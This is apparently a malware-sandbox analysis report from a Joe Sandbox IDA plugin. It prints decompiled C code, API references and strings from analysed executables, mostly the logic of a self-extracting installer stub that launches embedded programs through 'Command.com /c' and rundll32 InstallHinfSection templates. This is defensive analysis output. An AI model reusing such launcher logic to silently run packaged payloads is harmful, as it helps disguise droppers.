Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 68fd2101088ae29bc2db762b88cd85341354b52a81e8574dac36cc5503ba2afb
Instruction ID: a3cf13c8e9c804261e4431ff2ac5bab985488fd25a8e803ce92a87bfe608c29b
Opcode Fuzzy Hash: 68fd2101088ae29bc2db762b88cd85341354b52a81e8574dac36cc5503ba2afb
Instruction Fuzzy Hash: BEF0ACB050A711DFD77BAB34FD0A6043B69FB05731F204A1DE4619A2F1CF3A9556CA11

Uniqueness

Uniqueness Score: -1.00%

Function 00326952 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00326952(CHAR* __ecx) {
				long _v8;
				long _v12;
				long _v16;
				char _v20;
				int _t22;

				_t22 = 0;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if( *__ecx != 0) {
					_t6 =  &_v20; // 0x325760
					if(GetDiskFreeSpaceA(__ecx,  &_v12,  &_v8, _t6,  &_v16) != 0) {
						_t22 = MulDiv(_v8 * _v12, _v16, 0x400);
					}
				}
				return _t22;
			}

0x0032695b
0x00326960
0x00326963
0x00326966
0x00326969
0x0032696c
0x00326972
0x00326987
0x0032699f
0x0032699f
0x00326987
0x003269a7

APIs

GetDiskFreeSpaceA.KERNEL32(0000005A,?,?,`W2,?,00000000,00325760,?,A:\), ref: 0032697F
MulDiv.KERNEL32(?,?,00000400), ref: 00326999

Strings

`W2, xrefs: 00326972, 00326975

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: DiskFreeSpace
String ID: `W2
API String ID: 1705453755-2327545889
Opcode ID: 6a2d55e14179f802beae1f631233a7f34a36e5c20c7b9e5f345267723ca35abc
Instruction ID: 1c6376c004c4087b206f5557651107300cfa7f5d9112c6ec0dbb30906fe4e8bb
Opcode Fuzzy Hash: 6a2d55e14179f802beae1f631233a7f34a36e5c20c7b9e5f345267723ca35abc
Instruction Fuzzy Hash: 37F0F9B6D0022CBBCB12DFE8DC45ADEBBBCEB48710F10419AE510E3240DB71AA518BD1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sMt14vz.exePID: 6120, Parent PID: 3236COMMON

Execution Graph

Execution Coverage:	26.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	967
Total number of Limit Nodes:	41

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 010D3BA2 Relevance: 37.1, APIs: 11, Strings: 10, Instructions: 308
libraryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E010D3BA2() {
				signed int _v8;
				signed int _v12;
				char _v276;
				char _v280;
				short _v300;
				intOrPtr _v304;
				void _v348;
				char _v352;
				intOrPtr _v356;
				signed int _v360;
				short _v364;
				char* _v368;
				intOrPtr _v372;
				void* _v376;
				intOrPtr _v380;
				char _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _v408;
				void* _v424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				signed int _t76;
				void* _t77;
				signed int _t79;
				signed int _t97;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				int _t112;
				void* _t115;
				signed char _t118;
				void* _t125;
				signed int _t127;
				void* _t128;
				struct HINSTANCE__* _t129;
				void* _t130;
				short _t137;
				char* _t140;
				signed char _t144;
				signed char _t145;
				signed int _t149;
				void* _t150;
				void* _t151;
				signed int _t153;
				void* _t155;
				void* _t156;
				signed int _t157;
				signed int _t162;
				signed int _t164;
				void* _t165;

				_t164 = (_t162 & 0xfffffff8) - 0x194;
				_t69 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t69 ^ _t164;
				_t153 = 0;
				 *0x10d9124 =  *0x10d9124 & 0;
				_t149 = 0;
				_v388 = 0;
				_v384 = 0;
				_t165 =  *0x10d8a28 - _t153; // 0x0
				if(_t165 != 0) {
					L3:
					_t127 = 0;
					_v392 = 0;
					while(1) {
						_v400 = _v400 & 0x00000000;
						memset( &_v348, 0, 0x44);
						_t164 = _t164 + 0xc;
						_v348 = 0x44;
						if( *0x10d8c42 != 0) {
							goto L26;
						}
						_t146 =  &_v396;
						_t115 = E010D468F("SHOWWINDOW",  &_v396, 4);
						if(_t115 == 0 || _t115 > 4) {
							L25:
							_t146 = 0x4b1;
							E010D44B9(0, 0x4b1, 0, 0, 0x10, 0);
							 *0x10d9124 = 0x80070714;
							goto L62;
						} else {
							if(_v396 != 1) {
								__eflags = _v396 - 2;
								if(_v396 != 2) {
									_t137 = 3;
									__eflags = _v396 - _t137;
									if(_v396 == _t137) {
										_v304 = 1;
										_v300 = _t137;
									}
									goto L14;
								}
								_push(6);
								_v304 = 1;
								_pop(0);
								goto L11;
							} else {
								_v304 = 1;
								L11:
								_v300 = 0;
								L14:
								if(_t127 != 0) {
									L27:
									_t155 = 1;
									__eflags = _t127 - 1;
									if(_t127 != 1) {
										L31:
										_t132 =  &_v280;
										_t76 = E010D1AE8( &_v280,  &_v408,  &_v404); // executed
										__eflags = _t76;
										if(_t76 == 0) {
											L62:
											_t77 = 0;
											L63:
											_pop(_t150);
											_pop(_t156);
											_pop(_t128);
											return E010D6CE0(_t77, _t128, _v12 ^ _t164, _t146, _t150, _t156);
										}
										_t157 = _v404;
										__eflags = _t149;
										if(_t149 != 0) {
											L37:
											__eflags = _t157;
											if(_t157 == 0) {
												L57:
												_t151 = _v408;
												_t146 =  &_v352;
												_t130 = _t151; // executed
												_t79 = E010D3FEF(_t130,  &_v352); // executed
												__eflags = _t79;
												if(_t79 == 0) {
													L61:
													LocalFree(_t151);
													goto L62;
												}
												L58:
												LocalFree(_t151);
												_t127 = _t127 + 1;
												_v396 = _t127;
												__eflags = _t127 - 2;
												if(_t127 >= 2) {
													_t155 = 1;
													__eflags = 1;
													L69:
													__eflags =  *0x10d8580;
													if( *0x10d8580 != 0) {
														E010D2267();
													}
													_t77 = _t155;
													goto L63;
												}
												_t153 = _v392;
												_t149 = _v388;
												continue;
											}
											L38:
											__eflags =  *0x10d8180;
											if( *0x10d8180 == 0) {
												_t146 = 0x4c7;
												E010D44B9(0, 0x4c7, 0, 0, 0x10, 0);
												LocalFree(_v424);
												 *0x10d9124 = 0x8007042b;
												goto L62;
											}
											__eflags = _t157;
											if(_t157 == 0) {
												goto L57;
											}
											__eflags =  *0x10d9a34 & 0x00000004;
											if(__eflags == 0) {
												goto L57;
											}
											_t129 = E010D6495(_t127, _t132, _t157, __eflags);
											__eflags = _t129;
											if(_t129 == 0) {
												_t146 = 0x4c8;
												E010D44B9(0, 0x4c8, "advpack.dll", 0, 0x10, 0);
												L65:
												LocalFree(_v408);
												 *0x10d9124 = E010D6285();
												goto L62;
											}
											_t146 = GetProcAddress(_t129, "DoInfInstall");
											_v404 = _t146;
											__eflags = _t146;
											if(_t146 == 0) {
												_t146 = 0x4c9;
												__eflags = 0;
												E010D44B9(0, 0x4c9, "DoInfInstall", 0, 0x10, 0);
												FreeLibrary(_t129);
												goto L65;
											}
											__eflags =  *0x10d8a30;
											_t151 = _v408;
											_v384 = 0;
											_v368 =  &_v280;
											_v364 =  *0x10d9a40;
											_t97 =  *0x10d8a38 & 0x0000ffff;
											_v380 = 0x10d9154;
											_v376 = _t151;
											_v372 = 0x10d91e4;
											_v360 = _t97;
											if( *0x10d8a30 != 0) {
												_t97 = _t97 | 0x00010000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t144 =  *0x10d9a34;
											__eflags = _t144 & 0x00000008;
											if((_t144 & 0x00000008) != 0) {
												_t97 = _t97 | 0x00020000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t144 & 0x00000010;
											if((_t144 & 0x00000010) != 0) {
												_t97 = _t97 | 0x00040000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t145 =  *0x10d8d48; // 0x0
											__eflags = _t145 & 0x00000040;
											if((_t145 & 0x00000040) != 0) {
												_t97 = _t97 | 0x00080000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t145;
											if(_t145 < 0) {
												_t104 = _t97 | 0x00100000;
												__eflags = _t104;
												_v360 = _t104;
											}
											_v356 =  *0x10d9a38;
											_t130 = _t146;
											 *0x10da288( &_v384);
											_t101 = _v404();
											__eflags = _t164 - _t164;
											if(_t164 != _t164) {
												_t130 = 4;
												asm("int 0x29");
											}
											 *0x10d9124 = _t101;
											_push(_t129);
											__eflags = _t101;
											if(_t101 < 0) {
												FreeLibrary();
												goto L61;
											} else {
												FreeLibrary();
												_t127 = _v400;
												goto L58;
											}
										}
										__eflags =  *0x10d9a40 - 1;
										if( *0x10d9a40 == 1) {
											goto L37;
										}
										__eflags =  *0x10d8a20;
										if( *0x10d8a20 == 0) {
											goto L37;
										}
										__eflags = _t157;
										if(_t157 != 0) {
											goto L38;
										}
										_v388 = 1;
										E010D202A(_t146); // executed
										goto L37;
									}
									_t146 =  &_v280;
									_t108 = E010D468F("POSTRUNPROGRAM",  &_v280, 0x104);
									__eflags = _t108;
									if(_t108 == 0) {
										goto L25;
									}
									__eflags =  *0x10d8c42;
									if( *0x10d8c42 != 0) {
										goto L69;
									}
									_t112 = CompareStringA(0x7f, 1,  &_v280, 0xffffffff, "<None>", 0xffffffff);
									__eflags = _t112 == 0;
									if(_t112 == 0) {
										goto L69;
									}
									goto L31;
								}
								_t118 =  *0x10d8a38; // 0x0
								if(_t118 == 0) {
									L23:
									if(_t153 != 0) {
										goto L31;
									}
									_t146 =  &_v276;
									if(E010D468F("RUNPROGRAM",  &_v276, 0x104) != 0) {
										goto L27;
									}
									goto L25;
								}
								if((_t118 & 0x00000001) == 0) {
									__eflags = _t118 & 0x00000002;
									if((_t118 & 0x00000002) == 0) {
										goto L62;
									}
									_t140 = "USRQCMD";
									L20:
									_t146 =  &_v276;
									if(E010D468F(_t140,  &_v276, 0x104) == 0) {
										goto L25;
									}
									if(CompareStringA(0x7f, 1,  &_v276, 0xffffffff, "<None>", 0xffffffff) - 2 != 0xfffffffe) {
										_t153 = 1;
										_v388 = 1;
									}
									goto L23;
								}
								_t140 = "ADMQCMD";
								goto L20;
							}
						}
						L26:
						_push(_t130);
						_t146 = 0x104;
						E010D1781( &_v276, 0x104, _t130, 0x10d8c42);
						goto L27;
					}
				}
				_t130 = "REBOOT";
				_t125 = E010D468F(_t130, 0x10d9a2c, 4);
				if(_t125 == 0 || _t125 > 4) {
					goto L25;
				} else {
					goto L3;
				}
			}

0x010d3baa
0x010d3bb0
0x010d3bb7
0x010d3bc0
0x010d3bc2
0x010d3bc9
0x010d3bcb
0x010d3bcf
0x010d3bd3
0x010d3bd9
0x010d3bfd
0x010d3bfd
0x010d3bff
0x010d3c03
0x010d3c03
0x010d3c11
0x010d3c16
0x010d3c19
0x010d3c28
0x00000000
0x00000000
0x010d3c30
0x010d3c39
0x010d3c40
0x010d3d13
0x010d3d15
0x010d3d21
0x010d3d26
0x00000000
0x010d3c4f
0x010d3c56
0x010d3c60
0x010d3c65
0x010d3c77
0x010d3c78
0x010d3c7c
0x010d3c7e
0x010d3c82
0x010d3c82
0x00000000
0x010d3c7c
0x010d3c67
0x010d3c69
0x010d3c6d
0x00000000
0x010d3c58
0x010d3c58
0x010d3c6e
0x010d3c6e
0x010d3c87
0x010d3c89
0x010d3d4d
0x010d3d4f
0x010d3d50
0x010d3d52
0x010d3d9e
0x010d3da8
0x010d3daf
0x010d3db4
0x010d3db6
0x010d3f4d
0x010d3f4d
0x010d3f4f
0x010d3f56
0x010d3f57
0x010d3f58
0x010d3f63
0x010d3f63
0x010d3dbc
0x010d3dc0
0x010d3dc2
0x010d3de6
0x010d3de6
0x010d3de8
0x010d3f0b
0x010d3f0b
0x010d3f0f
0x010d3f13
0x010d3f15
0x010d3f1a
0x010d3f1c
0x010d3f46
0x010d3f47
0x00000000
0x010d3f47
0x010d3f1e
0x010d3f1f
0x010d3f25
0x010d3f26
0x010d3f2a
0x010d3f2d
0x010d3fd9
0x010d3fd9
0x010d3fda
0x010d3fda
0x010d3fe1
0x010d3fe3
0x010d3fe3
0x010d3fe8
0x00000000
0x010d3fe8
0x010d3f33
0x010d3f37
0x00000000
0x010d3f37
0x010d3dee
0x010d3dee
0x010d3df5
0x010d3fad
0x010d3fb9
0x010d3fc2
0x010d3fc8
0x00000000
0x010d3fc8
0x010d3dfb
0x010d3dfd
0x00000000
0x00000000
0x010d3e03
0x010d3e0a
0x00000000
0x00000000
0x010d3e15
0x010d3e17
0x010d3e19
0x010d3f94
0x010d3fa4
0x010d3f7c
0x010d3f80
0x010d3f8b
0x00000000
0x010d3f8b
0x010d3e2c
0x010d3e30
0x010d3e34
0x010d3e36
0x010d3f69
0x010d3f6e
0x010d3f70
0x010d3f76
0x00000000
0x010d3f76
0x010d3e3c
0x010d3e43
0x010d3e47
0x010d3e52
0x010d3e5c
0x010d3e61
0x010d3e68
0x010d3e70
0x010d3e74
0x010d3e7c
0x010d3e80
0x010d3e82
0x010d3e82
0x010d3e87
0x010d3e87
0x010d3e8b
0x010d3e91
0x010d3e94
0x010d3e96
0x010d3e96
0x010d3e9b
0x010d3e9b
0x010d3e9f
0x010d3ea2
0x010d3ea4
0x010d3ea4
0x010d3ea9
0x010d3ea9
0x010d3ead
0x010d3eb3
0x010d3eb6
0x010d3eb8
0x010d3eb8
0x010d3ebd
0x010d3ebd
0x010d3ec1
0x010d3ec3
0x010d3ec5
0x010d3ec5
0x010d3eca
0x010d3eca
0x010d3ed5
0x010d3ed9
0x010d3ee0
0x010d3ee6
0x010d3eea
0x010d3eec
0x010d3eee
0x010d3ef3
0x010d3ef3
0x010d3ef5
0x010d3efa
0x010d3efb
0x010d3efd
0x010d3f40
0x00000000
0x010d3eff
0x010d3eff
0x010d3f05
0x00000000
0x010d3f05
0x010d3efd
0x010d3dc7
0x010d3dce
0x00000000
0x00000000
0x010d3dd0
0x010d3dd7
0x00000000
0x00000000
0x010d3dd9
0x010d3ddb
0x00000000
0x00000000
0x010d3ddd
0x010d3de1
0x00000000
0x010d3de1
0x010d3d59
0x010d3d65
0x010d3d6a
0x010d3d6c
0x00000000
0x00000000
0x010d3d6e
0x010d3d75
0x00000000
0x00000000
0x010d3d8f
0x010d3d96
0x010d3d98
0x00000000
0x00000000
0x00000000
0x010d3d98
0x010d3c8f
0x010d3c98
0x010d3cf1
0x010d3cf3
0x00000000
0x00000000
0x010d3cfe
0x010d3d11
0x00000000
0x00000000
0x00000000
0x010d3d11
0x010d3c9c
0x010d3ca5
0x010d3ca7
0x00000000
0x00000000
0x010d3cad
0x010d3cb2
0x010d3cb7
0x010d3cc5
0x00000000
0x00000000
0x010d3ce8
0x010d3cec
0x010d3ced
0x010d3ced
0x00000000
0x010d3ce8
0x010d3c9e
0x00000000
0x010d3c9e
0x010d3c56
0x010d3d35
0x010d3d35
0x010d3d3c
0x010d3d48
0x00000000
0x010d3d48
0x010d3c03
0x010d3be2
0x010d3be7
0x010d3bee
0x00000000
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 010D3C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 010D3CDC

Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46A0
Part of subcall function 010D468F: SizeofResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46A9
Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46C3
Part of subcall function 010D468F: LoadResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46CC
Part of subcall function 010D468F: LockResource.KERNEL32(00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46D3
Part of subcall function 010D468F: memcpy_s.MSVCRT ref: 010D46E5
Part of subcall function 010D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,010D8C42), ref: 010D3D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 010D3E26
FreeLibrary.KERNEL32(00000000,?,010D8C42), ref: 010D3EFF
LocalFree.KERNEL32(?,?,?,?,010D8C42), ref: 010D3F1F
FreeLibrary.KERNEL32(00000000,?,010D8C42), ref: 010D3F40
LocalFree.KERNEL32(?,?,?,?,010D8C42), ref: 010D3F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,010D8C42), ref: 010D3F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,010D8C42), ref: 010D3F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,010D8C42), ref: 010D3FC2

Strings

ADMQCMD, xrefs: 010D3C9E
<None>, xrefs: 010D3CC9, 010D3D7D
SHOWWINDOW, xrefs: 010D3C34
advpack.dll, xrefs: 010D3F9D
USRQCMD, xrefs: 010D3CAD
POSTRUNPROGRAM, xrefs: 010D3D60
DoInfInstall, xrefs: 010D3E1F, 010D3E24, 010D3F68
REBOOT, xrefs: 010D3BE2
D, xrefs: 010D3C19
RUNPROGRAM, xrefs: 010D3D05

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll
API String ID: 1032054927-3892089904
Opcode ID: 746b6419ef69c125de663fa1deea86c6764120465f3e2f8f593d7cd4deb9d382
Instruction ID: cc407f0f22105def04b8b901db5d1f2000925f91e6a2e9cdd3585147e3582f21
Opcode Fuzzy Hash: 746b6419ef69c125de663fa1deea86c6764120465f3e2f8f593d7cd4deb9d382
Instruction Fuzzy Hash: F5B1CDB06093059BE770AF28D845B6B7AE4FB84704F00496EFAD5DA1C0DB7AC844CB97

Uniqueness

Uniqueness Score: -1.00%

Function 010D1AE8 Relevance: 37.0, APIs: 10, Strings: 11, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E010D1AE8(long __ecx, CHAR** _a4, int* _a8) {
				signed int _v8;
				char _v268;
				char _v527;
				char _v528;
				char _v1552;
				CHAR* _v1556;
				int* _v1560;
				CHAR** _v1564;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				CHAR* _t53;
				CHAR* _t54;
				char* _t57;
				char* _t58;
				CHAR* _t60;
				void* _t62;
				signed char _t65;
				intOrPtr _t76;
				intOrPtr _t77;
				unsigned int _t85;
				CHAR* _t90;
				CHAR* _t92;
				char _t105;
				char _t106;
				CHAR** _t111;
				CHAR* _t115;
				intOrPtr* _t125;
				void* _t126;
				CHAR* _t132;
				CHAR* _t135;
				void* _t138;
				void* _t139;
				void* _t145;
				intOrPtr* _t146;
				char* _t148;
				CHAR* _t151;
				void* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t157;
				signed int _t158;

				_t48 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t48 ^ _t158;
				_t108 = __ecx;
				_v1564 = _a4;
				_v1560 = _a8;
				E010D1680( &_v528, 0x104, __ecx);
				if(_v528 != 0x22) {
					_t135 = " ";
					_t53 =  &_v528;
				} else {
					_t135 = "\"";
					_t53 =  &_v527;
				}
				_t111 =  &_v1556;
				_v1556 = _t53;
				_t54 = E010D1A84(_t111, _t135);
				_t156 = _v1556;
				_t151 = _t54;
				if(_t156 == 0) {
					L12:
					_push(_t111);
					E010D1781( &_v268, 0x104, _t111, 0x10d91e4);
					E010D658A( &_v268, 0x104, _t156);
					goto L13;
				} else {
					_t132 = _t156;
					_t148 =  &(_t132[1]);
					do {
						_t105 =  *_t132;
						_t132 =  &(_t132[1]);
					} while (_t105 != 0);
					_t111 = _t132 - _t148;
					if(_t111 < 3) {
						goto L12;
					}
					_t106 = _t156[1];
					if(_t106 != 0x3a || _t156[2] != 0x5c) {
						if( *_t156 != 0x5c || _t106 != 0x5c) {
							goto L12;
						} else {
							goto L11;
						}
					} else {
						L11:
						E010D1680( &_v268, 0x104, _t156);
						L13:
						_t138 = 0x2e;
						_t57 = E010D66C8(_t156, _t138);
						if(_t57 == 0 || CompareStringA(0x7f, 1, _t57, 0xffffffff, ".INF", 0xffffffff) != 0) {
							_t139 = 0x2e;
							_t115 = _t156;
							_t58 = E010D66C8(_t115, _t139);
							if(_t58 == 0 || CompareStringA(0x7f, 1, _t58, 0xffffffff, ".BAT", 0xffffffff) != 0) {
								_t156 = LocalAlloc(0x40, 0x400);
								if(_t156 == 0) {
									goto L43;
								}
								_t65 = GetFileAttributesA( &_v268); // executed
								if(_t65 == 0xffffffff || (_t65 & 0x00000010) != 0) {
									E010D1680( &_v1552, 0x400, _t108);
								} else {
									_push(_t115);
									_t108 = 0x400;
									E010D1781( &_v1552, 0x400, _t115,  &_v268);
									if(_t151 != 0 &&  *_t151 != 0) {
										E010D16B3( &_v1552, 0x400, " ");
										E010D16B3( &_v1552, 0x400, _t151);
									}
								}
								_t140 = _t156;
								 *_t156 = 0;
								E010D2AAC( &_v1552, _t156, _t156);
								goto L53;
							} else {
								_t108 = "Command.com /c %s";
								_t125 = "Command.com /c %s";
								_t145 = _t125 + 1;
								do {
									_t76 =  *_t125;
									_t125 = _t125 + 1;
								} while (_t76 != 0);
								_t126 = _t125 - _t145;
								_t146 =  &_v268;
								_t157 = _t146 + 1;
								do {
									_t77 =  *_t146;
									_t146 = _t146 + 1;
								} while (_t77 != 0);
								_t140 = _t146 - _t157;
								_t154 = _t126 + 8 + _t146 - _t157;
								_t156 = LocalAlloc(0x40, _t126 + 8 + _t146 - _t157);
								if(_t156 != 0) {
									E010D171E(_t156, _t154, "Command.com /c %s",  &_v268);
									goto L53;
								}
								goto L43;
							}
						} else {
							_t85 = GetFileAttributesA( &_v268);
							if(_t85 == 0xffffffff || ( !(_t85 >> 4) & 0x00000001) == 0) {
								_t140 = 0x525;
								_push(0);
								_push(0x10);
								_push(0);
								_t60 =  &_v268;
								goto L35;
							} else {
								_t140 = "[";
								_v1556 = _t151;
								_t90 = E010D1A84( &_v1556, "[");
								if(_t90 != 0) {
									if( *_t90 != 0) {
										_v1556 = _t90;
									}
									_t140 = "]";
									E010D1A84( &_v1556, "]");
								}
								_t156 = LocalAlloc(0x40, 0x200);
								if(_t156 == 0) {
									L43:
									_t60 = 0;
									_t140 = 0x4b5;
									_push(0);
									_push(0x10);
									_push(0);
									L35:
									_push(_t60);
									E010D44B9(0, _t140);
									_t62 = 0;
									goto L54;
								} else {
									_t155 = _v1556;
									_t92 = _t155;
									if( *_t155 == 0) {
										_t92 = "DefaultInstall";
									}
									 *0x10d9120 = GetPrivateProfileIntA(_t92, "Reboot", 0,  &_v268);
									 *_v1560 = 1;
									if(GetPrivateProfileStringA("Version", "AdvancedINF", 0x10d1140, _t156, 8,  &_v268) == 0) {
										 *0x10d9a34 =  *0x10d9a34 & 0xfffffffb;
										if( *0x10d9a40 != 0) {
											_t108 = "setupapi.dll";
										} else {
											_t108 = "setupx.dll";
											GetShortPathNameA( &_v268,  &_v268, 0x104);
										}
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										_push( &_v268);
										_push(_t155);
										E010D171E(_t156, 0x200, "rundll32.exe %s,InstallHinfSection %s 128 %s", _t108);
									} else {
										 *0x10d9a34 =  *0x10d9a34 | 0x00000004;
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										E010D1680(_t108, 0x104, _t155);
										_t140 = 0x200;
										E010D1680(_t156, 0x200,  &_v268);
									}
									L53:
									_t62 = 1;
									 *_v1564 = _t156;
									L54:
									_pop(_t152);
									return E010D6CE0(_t62, _t108, _v8 ^ _t158, _t140, _t152, _t156);
								}
							}
						}
					}
				}
			}

0x010d1af3
0x010d1afa
0x010d1b07
0x010d1b09
0x010d1b1a
0x010d1b20
0x010d1b2c
0x010d1b3b
0x010d1b40
0x010d1b2e
0x010d1b2e
0x010d1b33
0x010d1b33
0x010d1b46
0x010d1b4c
0x010d1b52
0x010d1b57
0x010d1b5d
0x010d1b61
0x010d1b9f
0x010d1b9f
0x010d1bb1
0x010d1bc2
0x00000000
0x010d1b63
0x010d1b63
0x010d1b65
0x010d1b68
0x010d1b68
0x010d1b6a
0x010d1b6b
0x010d1b6f
0x010d1b74
0x00000000
0x00000000
0x010d1b76
0x010d1b7b
0x010d1b86
0x00000000
0x00000000
0x00000000
0x00000000
0x010d1b8c
0x010d1b8c
0x010d1b98
0x010d1bc7
0x010d1bc9
0x010d1bcc
0x010d1bd3
0x010d1d75
0x010d1d76
0x010d1d78
0x010d1d7f
0x010d1e05
0x010d1e09
0x00000000
0x00000000
0x010d1e12
0x010d1e1b
0x010d1e73
0x010d1e21
0x010d1e21
0x010d1e28
0x010d1e37
0x010d1e3e
0x010d1e52
0x010d1e60
0x010d1e60
0x010d1e3e
0x010d1e79
0x010d1e7b
0x010d1e84
0x00000000
0x010d1d9b
0x010d1d9b
0x010d1da0
0x010d1da2
0x010d1da5
0x010d1da5
0x010d1da7
0x010d1da8
0x010d1dac
0x010d1dae
0x010d1db4
0x010d1db7
0x010d1db7
0x010d1db9
0x010d1dba
0x010d1dbe
0x010d1dc3
0x010d1dce
0x010d1dd2
0x010d1deb
0x00000000
0x010d1df0
0x00000000
0x010d1dd2
0x010d1bf7
0x010d1bfe
0x010d1c07
0x010d1d55
0x010d1d5a
0x010d1d5b
0x010d1d5d
0x010d1d5e
0x00000000
0x010d1c1b
0x010d1c1b
0x010d1c20
0x010d1c2c
0x010d1c33
0x010d1c38
0x010d1c3a
0x010d1c3a
0x010d1c40
0x010d1c4b
0x010d1c4b
0x010d1c5d
0x010d1c61
0x010d1dd4
0x010d1dd4
0x010d1dd6
0x010d1ddb
0x010d1ddc
0x010d1dde
0x010d1d64
0x010d1d64
0x010d1d67
0x010d1d6c
0x00000000
0x010d1c67
0x010d1c67
0x010d1c6d
0x010d1c72
0x010d1c74
0x010d1c74
0x010d1c8e
0x010d1c99
0x010d1cc0
0x010d1cf8
0x010d1d07
0x010d1d23
0x010d1d09
0x010d1d14
0x010d1d1b
0x010d1d1b
0x010d1d2b
0x010d1d2d
0x010d1d2d
0x010d1d38
0x010d1d39
0x010d1d46
0x010d1cc2
0x010d1cc2
0x010d1ccc
0x010d1cce
0x010d1cce
0x010d1cdb
0x010d1ce6
0x010d1cee
0x010d1cee
0x010d1e89
0x010d1e91
0x010d1e92
0x010d1e94
0x010d1e97
0x010d1ea4
0x010d1ea4
0x010d1c61
0x010d1c07
0x010d1bd3
0x010d1b7b

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,010D91E4,?,?,00000000,00000001,00000000), ref: 010D1BE7
GetFileAttributesA.KERNEL32(?,?,010D91E4,?,?,00000000,00000001,00000000), ref: 010D1BFE
LocalAlloc.KERNEL32(00000040,00000200,?,010D91E4,?,?,00000000,00000001,00000000), ref: 010D1C57
GetPrivateProfileIntA.KERNEL32 ref: 010D1C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,010D1140,00000000,00000008,?), ref: 010D1CB8
GetShortPathNameA.KERNEL32 ref: 010D1D1B

Part of subcall function 010D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010D4518
Part of subcall function 010D44B9: MessageBoxA.USER32(?,?,010D9154,00010010), ref: 010D4554

Strings

Command.com /c %s, xrefs: 010D1D9B, 010D1DE8
Version, xrefs: 010D1CB3
DefaultInstall, xrefs: 010D1C74, 010D1C87, 010D1CCE, 010D1CD3, 010D1D2D, 010D1D39
.INF, xrefs: 010D1BDB
setupapi.dll, xrefs: 010D1D23, 010D1D3A
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 010D1D3B
setupx.dll, xrefs: 010D1D14
.BAT, xrefs: 010D1D83
Reboot, xrefs: 010D1C82
", xrefs: 010D1B25
AdvancedINF, xrefs: 010D1CAE

Memory Dump Source

